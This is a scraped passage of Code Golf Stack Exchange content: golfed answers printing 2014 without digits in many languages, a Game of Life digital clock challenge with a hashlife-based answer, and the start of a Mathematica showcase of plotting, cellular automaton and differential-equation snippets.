***ASCII.*** In [Mouse](https://en.wikipedia.org/wiki/Mouse_(programming_language)), the letters of the alphabet are initialised to the values 0-25. `!` is the operator for printing integers, thus this prints `20` then `14` (no intermittent newline). ``` U!O! ``` There's no online interpreter available, but [here](http://mouse.davidgsimpson.com/mouse2002/index.html) you will find an interpreter written in C (needing some tweaks before one can coerce `gcc` to compile it) and the same compiled interpreter for `Win32` but which works perfectly on Linux with `wine`. [Here](https://github.com/catb0t/mouse2002) you can find the fixed version of the interpreter, which compiles. [Answer] ## MATLAB, Scala (4 characters, 5 bytes) You can take advantage of MATLAB's (and Scala's) relatively weak type system, here. The trick is to apply the unary `+` operation on a string composed only of the character `ߞ` (of UTF-8 code point U+07DE, or 2014 in decimal). This operation implicitly converts the string to a double (in MATLAB) and to an `Int` (in Scala): ``` +'ߞ' ``` Byte-count details: * `+` is ASCII and counts for 1 byte * `'` is ASCII and counts for 1 byte (but appears twice in the expression) * `ߞ` is a 2-byte UTF-8 character Total: 5 bytes ## TeX (~~32~~ 26 characters, as many bytes) ``` \def~{\the\catcode`}~}~\\~\%\bye ``` An even shorter alternative (proposed by [Joseph Wright](https://tex.stackexchange.com/users/73/joseph-wright)) is ``` \number`^^T\number`^^N\bye ``` ## XeTeX/LuaTeX (13 characters, 14 bytes) If XeTeX or LuaTeX are allowed, UTF-8 input can be used directly (as proposed by [Joseph Wright](https://tex.stackexchange.com/users/73/joseph-wright)): ``` \number`ߞ\bye ``` [Answer] # [dc](https://www.gnu.org/software/bc/manual/dc-1.05/html_mono/dc.html), 6 bytes ``` DiBBCp ``` [Try it online!](https://tio.run/##S0n@/98l08nJueD/fwA "dc – Try It Online") * `D` pushes 13 on the stack, even tho the input radix is 10 initially * `i` changes input radix (to 13 from 10) * `BBC` is 2014 base 13. * `p` prints. Console output: ``` $ dc <<< "DiBBCp" 2014 ``` [Answer] # [Scala](http://www.scala-lang.org/), ~~32~~ 29 bytes ``` +"Happy new year to you!".sum ``` [Try it online!](https://tio.run/##LYs7DoMwEAVrfIoHFQiJA6SjS590KMUCBjkC21obRRbi7OYTpp0Z19FE0bRf2Xm8lRErBA56OWAmpXPi0T1QM1NoXp6VHj8F/s2dnthD@EnnscyeZG2Alj8ESQxvEMySZpVb5ggkxfVsEBviDg "Scala – Try It Online") Well ok if you really want it golfed with any chars, you can use: # [Scala](http://www.scala-lang.org/), 11 bytes ``` '@'*' '-'"' ``` [Try it online!](https://tio.run/##K05OzEn8n5@UlZpcohCSmc9VrcClAAQpqWkKuYmZeRqJRenFVgqORUWJldHBJUWZeemxmgoQNVClIFAAlCjJydP4r@6grqWuoK6rrqT@X0GBUxOsolaBq1bhPwA "Scala – Try It Online") # [Scala](http://www.scala-lang.org/), 22 bytes ``` "{yz}"map(_-'I'toChar) ``` [Try it online!](https://tio.run/##K05OzEn8n5@UlZpcohCSmc9VrcClAAQpqWkKuYmZeRqJRenFVgqORUWJldHBJUWZeemxmgoQNVClIFAAlCjJydP4r1RdWVWrlJtYoBGvq@6pXpLvnJFYpPlfQYFTE6y4VoGrVuE/AA "Scala – Try It Online") [Answer] # [R](https://www.r-project.org/), ~~72~~ 45 bytes This is far from the shortest answer posted, but no one has yet posted an answer that * doesn't use character codes as a substitute for numbers, and * doesn't call the system date. Using pure math (okay, and an automatic boolean conversion) in R, from the R console: ``` x<-(T+T);x+floor(exp(pi)^x)*x*x-(x*x)^(x*x)/x ``` [Try it online!](https://tio.run/##K/r/v8JGVyNEO0TTukI7LSc/v0gjtaJAoyBTM65CU6tCq0JXA0hoxoFJ/Yr//wE "R – Try It Online") Prints out the number 2014. `T` is a pre-defined synonym for true in R. The `floor` and `exp` functions are directly available in the base package, as is the `pi` constant. R doesn't have an increment operator, but repeating the `(x*x)` turned out to be fewer characters that doing increment and decrement twice each. --- ## Original version in Javascript (72 characters) For the simple reason that I could test out in the console, and it doesn't mind a complete lack of whitespace: ``` m=Math;p=m.pow;t=true;++t+m.floor(p(m.exp(m.PI),t))*t*t++-p(++t,t--)/--t ``` run in your console and it will print back the number 2014. --- Props to [xkcd](http://xkcd.com/217/) (and [also](http://xkcd.com/1047/)) for getting me to think about exp(pi): ![e to the pi Minus pi](https://imgs.xkcd.com/comics/e_to_the_pi_minus_pi.png "Also, I hear the 4th root of (9^2 + 19^2/22) is pi.") P.S. If you can make the same algorithm shorter in a different language, post a comment with it. [Answer] # [C (clang)](http://clang.llvm.org/), 33 bytes ``` main(){printf("%d",'A'*' '-'B');} ``` [Try it online!](https://tio.run/##S9ZNzknMS///PzcxM09Ds7qgKDOvJE1DSTVFSUfdUV1LXUFdV91JXdO69v9/AA "C (clang) – Try It Online") [Answer] # PHP, 9 bytes This requires PHP 7.1 or lower. It will work in PHP 7.2, but it will result in a warning. No guarantees for any future version. `xxd` needed because of binary data (so copying and pasting it would be easier). May return `E_NOTICE`, but it doesn't really matter, does it? ``` ~ $ xxd -r > 2014.php 0000000: 3c3f 3d7e cdcf cecb 3b <?=~....; ~ $ php 2014.php 2014 ``` Alternatively, save this using ISO-8859-1 encoding. ``` <?=~ÍÏÎË; ``` [Answer] ### Python3.4.0b2 (0 bytes) ``` % python3.4 Python 3.4.0b2 (v3.4.0b2:ba32913eb13e, Jan 5 2014, 11:02:52) [GCC 4.2.1 (Apple Inc. build 5666) (dot 3)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> ``` [Answer] ## Mathematica, 14 characters (or 15 if you count the bitmap as a character) TextRecognize@![enter image description here](https://i.stack.imgur.com/MncwS.png) [Answer] # [JavaScript (Node.js)](https://nodejs.org), 23 bytes Uses Base 64 Conversion ``` alert(atob("MjAxNA==")) ``` [Try it online!](https://tio.run/##RY7BCsIwEETv@YrQSxLQnsRbD/WuF79g225KSpuVzVYE8dtjqKhzfcybmeAOqedwk32kAbNfYy@BooYZWeyCKcGITj@VLukpJpqxnmn8IfVS6t8S6uwAAt8Go6wc9Wn1Hrn2TMuGd9p0kPB4MK4WugqHOFpTnoRgijF/1jdbdZ7ax6Vtmsq5nN8 "JavaScript (Node.js) – Try It Online") *Or* ``` alert("MMXIV") // ;) ``` [Answer] # Perl - 10 characters This solution is [courtesy of BrowserUK on PerlMonks](http://www.perlmonks.org/?node_id=1068855), though I've shaved off some unnecessary punctuation and whitespace from the solution he posted. It's a bitwise "not" on a four character binary string. ``` say~"ÍÏÎË" ``` The characters displayed above represent the binary octets cd:cf:ce:cb, and are how they appear in ISO-8859-1 and ISO-8859-15. Here's the entire script in hex, plus an example running it: ``` $ hexcat ~/tmp/ten-stroke.pl 73:61:79:7e:22:cd:cf:ce:cb:22 $ perl -M5.010 ~/tmp/ten-stroke.pl 2014 ``` **Perl (without high bits) - 14 characters** ``` say'````'^RPQT ``` This uses a bitwise "or" on the two four-character strings `"RPQT"` and `"````"` (that is, four backticks). ``` $ ~/tmp/fourteen-stroke.pl 73:61:79:27:60:60:60:60:27:5e:52:50:51:54 $ perl -M5.010 ~/tmp/fourteen-stroke.pl 2014 ``` (I initially had the two strings the other way around, which required whitespace between `print` and `RPQT` to separate the tokens. @DomHastings pointed out that by switching them around I could save a character.) **Perl (cheating) - 8 characters** This is probably not within the spirit of the competition, but [hdb on PerlMonks has pointed out](http://www.perlmonks.org/?node_id=1069622) that Perl provides a variable called `$0` that contains the name of the current program being executed. If we're allowed to name the file containing the script "2014", then `$0` will be equal to 2014. `$0` contains a digit, so we can't use it directly, but `${...}` containing an expression that evaluates to 0 will be OK; for example: ``` say${$|} ``` For consistency, let's do the hexcat-then-perl thing with that: ``` $ hexcat 2014 73:61:79:24:7b:24:7c:7d $ perl -M5.010 2014 2014 ``` I think this is cheating, but it's an interesting solution nonetheless, so worth mentioning. [Answer] # [Ruby](https://www.ruby-lang.org/), 20 bytes ``` p 'bbc'.to_i ?\r.ord ``` [Try it online!](https://tio.run/##KypNqvz/v0BBPSkpWV2vJD8@U8E@pkgvvyjl/38A "Ruby – Try It Online") Explanation: `bbc` is `2014` in base 13. Shorter than Python. Not as short as Forth. [Answer] # [PowerShell](https://github.com/TryItOnline/TioSetup/wiki/Powershell), 9 bytes ``` +"ߞ"[""] ``` [Try it online!](https://tio.run/##K8gvTy0qzkjNyfn/X1vp/jylaCWl2P//AQ "PowerShell – Try It Online") `ߞ` ([U+07DE NKO LETTER KA](http://codepoints.net/U+07DE)) is counted as two bytes according to the [code-golf tag info](https://codegolf.stackexchange.com/tags/code-golf/info). `[""]` returns the first character from the string (`""` is converted to `0`). The unary plus opeartor (`+`) converts the character to an integer. [Answer] ## Javascript, 18 characters ``` alert(btoa('ÛMx')) ``` **Update:** in ES6, using a template literal can save two characters: ``` alert(btoa`ÛMx`) ``` The code above is fairly easy to understand by keeping in mind that `btoa` converts a string into another string according to a set of well-defined rules ([RFC 4648](https://www.rfc-editor.org/rfc/rfc4648)). To see how the conversion works, we're going to write the input string "ÛMx" as a sequence of binary digits, where each character is rendered as its 8-bit character code. ``` Input character | Û | M | x Character code (decimal) | 219 | 77 | 120 Character code (binary) | 11011011 | 01001101 | 01111000 ``` After reorganizing the binary digits in the last row in groups of 6, we get the binary representation of 4 new numbers, corresponding to the Base64 indices of the 4 characters in the string "2014". ``` Base64 index (binary) | 110110 | 110100 | 110101 | 111000 Base64 index (decimal) | 54 | 52 | 53 | 56 Output character | 2 | 0 | 1 | 4 ``` As per HTML specification, the output characters can be retrieved from their Base64 indices according to this table: <http://dev.w3.org/html5/spec-LC/webappapis.html#base64-table>. If you don't care about the details, you could let the browser do the calculations for you and find out that "ÛMx" is the result of evaluating `atob('2014')` in Javascript. [Answer] # [Scala](http://www.scala-lang.org/), 6 bytes ``` "?="## ``` [Try it online!](https://tio.run/##K05OzEn8n5@UlZpcohCSmc9VrcClAAQpqWkKuYmZeRqJRenFVgqORUWJldHBJUWZeemxmgoQNVClIFAAlCjJydP4r2Rvq6Ss/F9BgVMTLFmrwFWr8B8A "Scala – Try It Online") (`##` is Scala's symbol meaning `hashCode`, and the Java string `"?="` hashes to 2014.) # [Scala](http://www.scala-lang.org/), 5 bytes ``` +'ߞ' ``` [Try it online!](https://tio.run/##K05OzEn8n5@UlZpcohCSmc9VrcClAAQpqWkKuYmZeRqJRenFVgqORUWJldHBJUWZeemxmgoQNVClIFAAlCjJydP4r61@f576fwUFTk2wXK0CV63CfwA "Scala – Try It Online") Math on our favorite unicode character produces an `Int`. [Answer] # [GolfScript](http://www.golfscript.com/golfscript/), 9 bytes Yet another GolfScript entry. I believe this is shorter than any of the printable GolfScript entries so far: ``` "!="{*}*) ``` [Try it online!](https://tio.run/##S8/PSStOLsosKPn/X0nRVqlaq1ZL8/9/AA "GolfScript – Try It Online") ([Peter Taylor's 7-char entry](https://codegolf.stackexchange.com/a/17034) beats it, but includes non-printable control characters.) I call this the "that's *so* last year!" entry, because what it actually does is generate the number **2013** in 8 chars, as 33 × 61, and then increments it by one. ;-) [Answer] # [C (gcc)](https://gcc.gnu.org/), 31 bytes ``` main(){printf("%o",' b'/'\b');} ``` [Try it online!](https://tio.run/##S9ZNT07@/z83MTNPQ7O6oCgzryRNQ0k1X0lHXSFJXV89Jkld07r2/38A "C (gcc) – Try It Online") # [C (gcc)](https://gcc.gnu.org/), 32 bytes ``` main(){printf("%x%o",' ','\f');} ``` [Try it online!](https://tio.run/##S9ZNT07@/z83MTNPQ7O6oCgzryRNQ0m1QjVfSUddQV1HPSZNXdO69v9/AA "C (gcc) – Try It Online") # [C (gcc)](https://gcc.gnu.org/), 30 bytes ``` main(){printf("%x",' j'^'~');} ``` [Try it online!](https://tio.run/##S9ZNT07@/z83MTNPQ7O6oCgzryRNQ0m1QklHXSFLPU69Tl3Tuvb/fwA "C (gcc) – Try It Online") # [C (gcc)](https://gcc.gnu.org/), 30 bytes ``` main(){printf("%d",'\a\xde');} ``` [Try it online!](https://tio.run/##S9ZNT07@/z83MTNPQ7O6oCgzryRNQ0k1RUlHPSYxpiIlVV3Tuvb/fwA "C (gcc) – Try It Online") [Answer] # [GolfScript](http://www.golfscript.com/golfscript/), 14 bytes ``` '-+,/'{)))))}% ``` [Try it online!](https://tio.run/##S8/PSStOLsosKPn/X11XW0dfvVoTBGpV//8HAA "GolfScript – Try It Online") How it works: ASCII goes like this: ``` ... + , - . / 0 1 2 3 4 ... ``` So, this takes the ASCII codes of each character, subtracts five, and sticks it in a string. `{...}%` yields an array of the characters of a string mapped, when given a string as an argument. So, it increments each character by 5 (`)` means increment). [Answer] # [Forth (gforth)](http://www.complang.tuwien.ac.at/forth/gforth/Docs-html/), 14 bytes ``` '> '" * '^ - . ``` [Try it online!](https://tio.run/##S8svKsnQTU8DUf//q9spqCspaCmoxynoKuj9/w8A "Forth (gforth) – Try It Online") [Answer] ## APL (6 bytes, 4 chars) ``` ⊃⎕TS ``` Only works this year though. Why it works: ``` ⎕TS 2014 1 1 11 58 5 811 ⊃⎕TS 2014 ``` Without relying on the system date, it's **10 bytes** (7 characters): ``` ⎕UCS'ߞ' ``` [Answer] # [Python 2](https://docs.python.org/2/), 32 bytes ``` print ord(',')*ord('-')+ord('"') ``` [Try it online!](https://tio.run/##K6gsycjPM/r/v6AoM69EIb8oRUNdR11TC8zQVdfUBjOU1DX//wcA "Python 2 – Try It Online") Probably possible to reduce it using the 2014 th Unicode char `ߞ`, but I didn't try. Quincunx notes that ``` a=ord('.');print a*a-ord('f') ``` [Try it online!](https://tio.run/##K6gsycjPM/r/P9E2vyhFQ11PXdO6oCgzr0QhUStRFyyUpq75/z8A "Python 2 – Try It Online") is shorter by three chars. [Answer] # [Python 2](https://docs.python.org/2/), 32 bytes Had some fun writing this: ``` my_lst = [] for i in range(33, 126): for j in range(i, 126): if 2014 - 126 < i * j < 2014 - 33: if j not in range(48, 58): my_lst.append("ord('" + unichr(i) + "')*ord('" + unichr(j) + "')+ord('" + unichr(2014 - i * j) + "')") for val in my_lst: print val, '->', eval(val) ``` Prints all the possible ways I can write `2014` using **Bruno Le Floch**'s method: ``` ord('!')*ord(':')+ord('d') -> 2014 ord('!')*ord(';')+ord('C') -> 2014 ord('!')*ord('<')+ord('"') -> 2014 ord('"')*ord(':')+ord('*') -> 2014 ord(')')*ord('/')+ord('W') -> 2014 ord('*')*ord('-')+ord('|') -> 2014 ord('*')*ord('.')+ord('R') -> 2014 ord('*')*ord('/')+ord('(') -> 2014 ord('+')*ord(',')+ord('z') -> 2014 ord('+')*ord('-')+ord('O') -> 2014 ord('+')*ord('.')+ord('$') -> 2014 ord(',')*ord(',')+ord('N') -> 2014 ord(',')*ord('-')+ord('"') -> 2014 ``` # [Python 2](https://docs.python.org/2/), 10 bytes But this is obviously redundant, so if your interpreter is set to utf-8 by default, then all it takes is: ``` ord(u'ߞ') ``` [Try it online!](https://tio.run/##K6gsycjPM/qvrJCal5yfkpmXbqVQWpKma8FVUJSZV6IQ8z@/KEWjVP3@PHXN//8B "Python 2 – Try It Online") # [Python 2](https://docs.python.org/2/), 83 bytes Also, thanks to **AmeliaBR** (for the idea), I tried my best to implement a pure math version: ``` from math import* a,b,c=int(e),round(e),ceil(pi);print int(a**(b*c-(c-b))-a*a**c-a) ``` [Try it online!](https://tio.run/##Fck9DoAgDEDh3VMw0oYursbDlIqhifyE4ODpEbaX99Wvx5L3Me5Wkknco9FUS@u4sfNOTs3dBnCtvPlaIUEfWxWO2iaZxYxoPQpZIQ9AjHMIMYzxAw "Python 2 – Try It Online") [Answer] # [R](https://www.r-project.org/), 20 bytes @popojan (he is not allowed to post an answer here yet) has provided the solution within 20 characters. ``` sum(T+T:exp(T+pi))-T ``` [Try it online!](https://tio.run/##K/r/v7g0VyNEO8QqtaIASBdkamrqhvz/DwA "R – Try It Online") Output: ``` [1] 2014 ``` # [R](https://www.r-project.org/), 22 bytes Anonymous user has suggested shorter solution. ``` strtoi("bbc",pi*pi+pi) ``` [Try it online!](https://tio.run/##K/r/v7ikqCQ/U0MpKSlZSacgU6sgU7sgU/P/fwA "R – Try It Online") `2014` is `BBC` in base 13. `pi*pi+pi` (=13.0112) is treated by R in this context as the integer 13. Output: ``` 2014 ``` # [R](https://www.r-project.org/), 30 bytes ``` cat(a<-T+T,T-T,T/T,a*a,sep="") ``` [Try it online!](https://tio.run/##K/r/PzmxRCPRRjdEO0QnRBeI9UN0ErUSdYpTC2yVlDT//wcA "R – Try It Online") Output: ``` 2014 ``` # [R](https://www.r-project.org/), 31 bytes ``` cat(T+T,T-T,T/T,T+T+T+T,sep="") ``` [Try it online!](https://tio.run/##K/r/PzmxRCNEO0QnRBeI9YFYGwx1ilMLbJWUNP//BwA "R – Try It Online") Inspired from [the answer by AmeliaBR](https://codegolf.stackexchange.com/a/17078/13849). Output: ``` 2014 ``` [Answer] # [Java (JDK)](http://jdk.java.net/), ~~77~~ 75 bytes 75 characters if `print` is added in a class with the main method: ``` class C{public static void main(String[]a){System.out.print('#'*'<'-'V');}} ``` [Try it online!](https://tio.run/##y0osS9TNSsn@/z85J7G4WMG5uqA0KSczWaG4JLEESJXlZ6Yo5CZm5mkElxRl5qVHxyZqVgdXFpek5urll5boFQAFSzTUldW11G3UddXD1DWta2v//wcA "Java (JDK) – Try It Online") It means `35*60-86` which is equal to 2014 [Answer] # [CJam](https://sourceforge.net/p/cjam), 2 bytes ``` KE ``` [Try it online!](https://tio.run/##S85KzP3/39v1/38A "CJam – Try It Online") `K` and `E` are variables preset to 20 and 14. I created CJam in 2014 so it's ok if it doesn't qualify. ]
[Question] [ Your task is to build a Game of Life simulation representing a digital clock, which satisfies the following properties: 1. The clock displays the hours and minutes in decimal (e.g. `12:00`, `3:59`, `7:24`) with a different state for each of the 1,440 minutes of the day — either the hours will go from 0 to 23 or from 1 to 12 with a PM indicator. 2. The pattern is periodic, and the state loops around without any outside interaction. 3. The minutes update at regular intervals — from one change of minute to the next takes the same number of generations. 4. An anonymous bystander is able to tell at a glance that the display is supposed to be a digital clock. In particular, this entails: * The digits are visible and clearly distinguishable. You must be able to tell with certainty at a glance what time is being displayed. * The digits update in place. Each new number appears in the same place as the previous number, and there is little to no movement of the bounding boxes of the digits. (In particular, a digit does not contain 10 different digits in different places that get uncovered every time the digits change.) * The digits appear next to each other, without an excessive amount of space between them. --- Your program will be scored on the following things, in order (with lower criteria acting as tiebreakers for higher criteria): * Bounding box size — the rectangular box with the smallest area that completely contains the given solution wins. * Fastest execution — the fewest generations to advance one minute wins. * Initial live cell count — smaller count wins. * First to post — earlier post wins. [Answer] # 11,520 generations per clock count / 10,016 x 6,796 box / 244,596 pop count There you go... Was fun. Well, the design is certainly not optimal. Neither from the bounding box standpoint (those 7-segment digits are *huge*), nor from the initial population count (there are some useless stuff, and some stuff that could certainly be made simpler), and the execution speed - well... I'm not sure. But, hey, it's beautiful. Look: [![enter image description here](https://i.stack.imgur.com/mz0iM.gif)](https://i.stack.imgur.com/mz0iM.gif) **Run it!** Get the design from [this gist](https://gist.githubusercontent.com/anonymous/f3413564b1fa9c69f2bad4b0400b8090/raw/f5c77c999a8e11f0ec6ba504d383774eb3b88e5c/Conway%2520life%2520clock%2520PM%2520only). Copy the whole file text to the clipboard. **New**: here is a [version](https://gist.githubusercontent.com/anonymous/9d7468755dd76a35d93beeb5c0a5bdcf/raw/3295717faf24e8911048bcb69d4b6c8505d24330/gistfile1.txt) with both AM and PM indicators for the demanding. Go to [the online JavaScript Conway life simulator](https://copy.sh/life). Click *import*, paste the design text. You should see the design. Then, go to *settings* and set the *generation step* to 512, or something around those lines, or you'll have to wait forever to see the clock display updating. Click *run*, wait a bit and be amazed! [Direct link](https://copy.sh/life/?gist=f3413564b1fa9c69f2bad4b0400b8090&step=512) to in-browser version. Note that the only algorithm that makes this huge design useable is hashlife. But with this, you can achieve the whole clock wraparound in seconds. With other algorithms, it is impractical to even see the hour changing. **How it works** It uses p30 technology. Just basic things, gliders and lightweight spaceships. Basically, the design goes top-down: * At the very top, there's the clock. It is a 11520 period clock. Note that you need about 10.000 generations to ensure the display is updated appropriately, but the design should still be stable with a clock of smaller period (about 5.000 or so - the clock needs to be multiple of 60). * Then, there is the clock distribution stage. The clock glider is copied in a balanced tree, so at the end, there are 32 gliders arriving at the exact same moment to the counters stage. * The counter stage is made using a RS latch for each state, and for each digit (we're counting in decimal). So there is 10 states for the right digit of the minutes, 6 states for the left digit of the minuts, and 12 states for the hours (both digits of the hours are merged here). For each of these groups, the counter behaves like a shift register. * After the counting stage, there are the lookup tables. They convert the state pulses to display segments ON/OFF actions. * Then, the display itself. The segments are simply made with multiple strings of LWSS. Each segment has it own latch to maintain its state. I could have made a simple logical-OR of the digit states to know wether a segment must be ON or OFF, and get rid of these latches, but there would be glitches for non-changing segments, when the digits are changing (because of signal delays). And there would be long streams of gliders coming from the lookup table to the digit segments. So it wouldn't be as nice-looking. And it needed to be. Yes. Anyway, there is actually nothing extraordinary in this design. There are no amazing reactions that have been discovered in this process, and no really clever combinations that nobody thought of before. Just bits taken here and there and put together (and I'm not even sure I did it the "right" way - I was actually completely new to this). It required a lot of patience, however. Making all those gliders coming up at the right time in the right position was head-scratching. **Possible optimizations:** * Instead of copying and distributing the same root clock to the *n* counter cells, I could have just put the same clock block *n* times (once for each counter cell). This would actually be much simpler. But then I wouldn't be able to adjust it as easily by changing the clock at a single point... And I have an electronics background, and in a real circuit, that would be horribly wrong. * Each segment has it own RS latch. This requires the lookup tables to output both R and S pulses. If we had a latch that would just toggle its state from a common input pulse, we could make the lookup tables half as big. There is such a latch for the PM dot, but it is huge, and I'm unable to come up with something more practical. * Make the display smaller. But that wouldn't be as nice-looking. And it needed to be. Yes. ]
[Question] [ > > ### Notes > > > * This thread is open and unlocked only because [the community decided to make an exception](http://codegolf.meta.stackexchange.com/q/10656/12012). Please **do not** use this question as evidence that you can ask similar questions here. Please **do not** create additional [showcase](/questions/tagged/showcase "show questions tagged 'showcase'") questions. > * This is no longer a [popularity-contest](/questions/tagged/popularity-contest "show questions tagged 'popularity-contest'"), nor are snippet lengths limited by the vote tally. If you know this thread from before, please make sure you familiarize yourself with the changes. > > > This thread is dedicated to showing off interesting, useful, obscure, and/or unique features your favorite programming languages have to offer. This is neither a challenge nor a competition, but a collaboration effort to showcase as many programming languages as possible as well as possible. ### How this works * All answers should include the name of the programming language at the top of the post, prefixed by a `#`. * Answers may contain one (and only one) factoid, i.e., a couple of sentences without code that describe the language. * Aside from the factoid, answers should consist of snippets of code, which can (but don't have to be) programs or functions. * The snippets do not need to be related. In fact, snippets that are *too* related may be redundant. * Since this is not a contest, all programming languages are welcome, whenever they were created. * Answers that contain more than a handful of code snippets should use a [Stack Snippet](https://stackoverflow.blog/2014/09/introducing-runnable-javascript-css-and-html-code-snippets/) to collapse everything except the factoid and one of the snippets. * Whenever possible, there should be only one answer per programming language. This is a community wiki, so feel free to add snippets to any answer, even if you haven't created it yourself. There is a [Stack Snippet for compressing posts](http://codegolf.meta.stackexchange.com/q/10734/12012), which should mitigate the effect of the 30,000 character limit. Answers that predate these guidelines should be edited. Please help updating them as needed. ### Current answers, sorted alphabetically by language name ``` $.ajax({type:"GET",url:"https://api.stackexchange.com/2.2/questions/44680/answers?site=codegolf&filter=withbody",success:function(data){for(var i=0;i<data.items.length;i++){var temp=document.createElement('p');temp.innerHTML = data.items[i].body.split("\n")[0];$('#list').append('<li><a href="/a/' + data.items[i].answer_id + '">' + temp.innerText || temp.textContent + '</a>');}}}) ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script><base href="http://codegolf.stackexchange.com"><ul id="list"></ul> ``` [Answer] # Mathematica You might want to read this bottom-to-top since that's the order it was written in, and some explanations will refer to previous snippets or assume explanations from further down. The list is growing quite long. I've started to remove less interesting snippets, and I will start skipping snippets now. See the [revision history](https://codegolf.stackexchange.com/revisions/44683/24) for a complete list of snippets up to 41. For some real gems, check out snippets **81**, **64**, **44**, **23**, **19**, **12** and **8**. ### Length 143 and 144 snippets Finally... I've been waiting for this for a while (and been golfing it for about as long, so I don't have to wait even longer). I mentioned earlier that you can also equations numerically, and that you can also solve differential equations. I wanted to show a non-trivial example of that. Consider a double pendulum on a rod (i.e. a pendulum attached to another). Each rod has unit length and each of the two pendulum weights has unit mass. I've also used unit gravity to shorten the equation. The following 143-character snippet solves the [Lagrangian equations of motion](http://en.wikipedia.org/wiki/Lagrangian_mechanics) for such a system (in terms of the pendulums' angles and angular momenta). A derivation can be found [in this PDF](http://sophia.dtp.fmph.uniba.sk/~kovacik/doublePendulum.pdf), although it's a fairly straight-forward exercise if you're familiar with Lagrangian mechanics. It's quite unreadable, because I had to golf it down a lot: ``` d=Œ∏@t-œÜ@t;NDSolve[{#''@t==-#4#2''[t]Cos@d-##3#2'@t^2Sin@d-Sin@#@t&@@@{{Œ∏,œÜ,1,.5},{œÜ,Œ∏,-1,1}},Œ∏@0==2,œÜ@0==1,Œ∏'@t==œÜ'@t==0/.t->0},{Œ∏,œÜ},{t,0,60}] ``` What's neat is that Mathematica immediately displays a miniature plot of what the solutions roughly look like: ![enter image description here](https://i.stack.imgur.com/61C0c.png) Okay, but that's a bit lame. We want to know what the motion of the pendula actually looks like. So here is a 144-character snippet, which animates the pendula while tracing out the trajectory of the lower pendulum: ``` Graphics@{Line@{{0,0},p=Œ∏~(h={Sin@#@#2,-Cos@#@#2}&)~t,p+œÜ~h~t},White,{0,0}~Circle~2.2}~Show~ParametricPlot[Œ∏~h~u+œÜ~h~u,{u,0,t}]~Animate~{t,0,60} ``` The resulting animation looks like this: ![enter image description here](https://i.stack.imgur.com/3WS9q.gif) I had to cheat slightly: if you plot beyond `t = 30`, the `ParametricPlot` by default uses too few plot points and the line becomes quite jagged. But most of the interesting dynamics happen after that time, so I used the option `PlotPoints -> 200` to make the second half of the animation looks smoother. It's nothing substantially different, and the first half would look indistinguishable anyway. I think this will be my last snippet, unless I come up with something really mindblowing. Hope you enjoyed this! ### Length 100 snippet ``` GeoGraphics[{GeoStyling[Opacity[0.5]], NightHemisphere[]}, GeoBackground -> GeoStyling["ReliefMap"]] ``` I was thinking about some nice `Geo` functions for the 100 snippet, but ultimately I found something really nifty on [Tweet-a-Program](https://twitter.com/wolframtap/status/559290929316909056/photo/1), which I just had to steal. The above generates a very nice looking sun map of the Earth for the current time and day, by overlaying a semi-opaque shape of the night hemisphere over a relief map: ![enter image description here](https://i.stack.imgur.com/myQdG.png) ### Length 81 snippet ``` CellularAutomaton[{{0,2,3,If[0<Count[#,1,2]<3,1,3]}[[#[[2,2]]+1]]&,{},{1,1}},i,n] ``` I promise that's the last cellular automaton. But that right there is [Wireworld](http://en.wikipedia.org/wiki/Wireworld) in 81 characters. This time I didn't encode the rule in a single number, a) because I think it would be ridiculously huge (I didn't bother figuring it out) and b) to show you yet another usage of `CellularAutomaton`. This time, the rule is simply specified as a pure function, which receives a cells neighbourhood and returns the cell's new value. This is a much more feasible approach for cellular automata with more than 2 colours/states. Anyway, I've set up the example from Wikipedia in `i` (two clocks generating signals, and a XOR gate) and let it run for some 50 steps: ![enter image description here](https://i.stack.imgur.com/yMhPe.gif) If you're interested, the actual plotting and animation could have been snippet 77: ``` ListAnimate[ArrayPlot[#,ColorRules->{0->Black,1->Blue,2->Red,3->Yellow}]&/@w] ``` ### Length 69 snippet ``` DSolve[r^2*R''[r]+2r*R'[r]-R[r]==0&&(R[r]==1&&R'[r]==2/.r->1),R[r],r] ``` Back to something useful. Apart from normal systems of equations, Mathematica can also solve systems of differential equations. The above is technically just one differential equation with boundary conditions, but you can also supply that as a system of three equations. Similar to the integrating functions `DSolve` is for exact solutions whereas `NDSolve` will solve the system numerically. The above yields a single solution ``` {{R[r] -> 1/2 r^(-(1/2) - Sqrt[5]/2) (1 - Sqrt[5] + r^Sqrt[5] + Sqrt[5] r^Sqrt[5])}} ``` which could now be easily used for further computations or plotted. ### Length 64 snippet ``` CellularAutomaton[{224,{2,{{2,2,2},{2,1,2},{2,2,2}}},{1,1}},i,n] ``` I promised you more `CellularAutomaton` magic! This snippet computes [Conways' Game of Life](http://en.wikipedia.org/wiki/Game_of_Life) with initial condition `i` for `n` steps and gives you the result for all intermediate timesteps. A few words about the parameters: `2` is the number of cell states. `{{2,2,2},{2,1,2},{2,2,2}}` gives the weights for the 9 cells in the 3x3 neighbourhood. It ensures that the cell itself is distinguishable from the sum of the 8 neighbours. `{1,1}` says that the CA rule depends on cells 1 step away in either direction. Finally, `224` is the actual updating rule encoded in a single number. Figuring out this number can be a bit tricky, but there's a [fairly useful tutorial in the documentation](http://reference.wolfram.com/language/tutorial/CellularAutomata.html). For more complicated automata, a single number won't cut it (because the number would be huge). Maybe we'll get there tomorrow! ;) Anyway, if I feed a random grid into `i` and 200 into `n`, and send the result through an animated `ArrayPlot`, we can see that it's actually working: ![enter image description here](https://i.stack.imgur.com/ny4Fw.gif) ### Length 59 snippet ``` SphericalPlot3D[Re[Sin[Œ∏]Cos[Œ∏]Exp[2I*œÜ]],{Œ∏,0,œÄ},{œÜ,0,2œÄ}] ``` Remember the polar plot from snippet 26? We can do the same thing in 3D! (In fact, there are two functions: `RevolutionPlot3D` for cylindrical polars and `SphericalPlot3D` for spherical polars.) Just like `Graphics3D` all three-dimensional plots are automatically rotatable in Mathematica, so you don't have to worry about a good camera angle upfront. The above plots something like a spherical harmonic (not quite though) and looks like: ![enter image description here](https://i.stack.imgur.com/wogEW.png) ### Length 52 snippet ``` Manipulate[Plot[x^2a+x*b,{x,-3,3}],{a,.1,3},{b,0,3}] ``` This one is pretty nifty. `Manipulate` takes *any* expression, parameterises it with a bunch of variables, and then gives you a widget, where you can tweak the parameters and see live how the expression changes. As an expression you'll usually have some kind of plot. This is particularly useful if you're using Mathematica in lectures to demonstrate how families of solutions respond to modifying the parameters. The above shows how the `a` and `b` coefficients scale and shift a parabola: ![enter image description 